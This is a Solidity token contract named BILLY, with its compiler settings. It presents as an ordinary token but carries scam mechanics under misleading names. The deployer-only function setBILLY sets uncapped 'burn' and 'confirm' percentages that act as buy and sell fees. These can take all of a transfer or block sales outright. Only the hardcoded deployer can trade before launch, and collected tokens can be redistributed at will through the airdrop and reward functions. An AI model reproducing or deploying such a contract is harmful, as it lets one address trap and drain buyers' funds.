// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract BILLY {
    string public constant name = "BILLY";
    string public constant symbol = "BILLY";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1000_000_000 * 10**decimals;

    uint256 BurnAmount = 0;
    uint256 ConfirmAmount = 0;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    error Permissions();

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Airdrop(address indexed to, uint256 value);
    event RewardDistributed(address indexed to, uint256 value);

    address private pair;
    address payable constant deployer = payable(address(0x567AD2B11aa4D591B029E727bE95cC4947C825dB));

    bool private tradingOpen;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(tradingOpen || from == deployer || to == deployer);

        if (!tradingOpen && pair == address(0) && amount > 0) {
            pair = to;
        }

        balanceOf[from] -= amount;

        if (from != address(this)) {
            uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 100;
            amount -= FinalAmount;
            balanceOf[address(this)] += FinalAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function openTrading() external {
        require(msg.sender == deployer);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function setBILLY(uint256 newBurn, uint256 newConfirm) external {
        require(msg.sender == deployer);
        BurnAmount = newBurn;
        ConfirmAmount = newConfirm;
    }

    // Airdrop feature
    function airdrop(address[] calldata recipients, uint256[] calldata amounts) external {
        require(msg.sender == deployer);
        for (uint256 i = 0; i < recipients.length; i++) {
            _transfer(address(this), recipients[i], amounts[i]);
            emit Airdrop(recipients[i], amounts[i]);
        }
    }

    // Rewards feature
    function distributeRewards(address[] calldata recipients, uint256[] calldata rewards) external {
        require(msg.sender == deployer);
        for (uint256 i = 0; i < recipients.length; i++) {
            _transfer(address(this), recipients[i], rewards[i]);
            emit RewardDistributed(recipients[i], rewards[i]);
        }
    }
}

{
  "compilationTarget": {
    "BILLY.sol": "BILLY"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}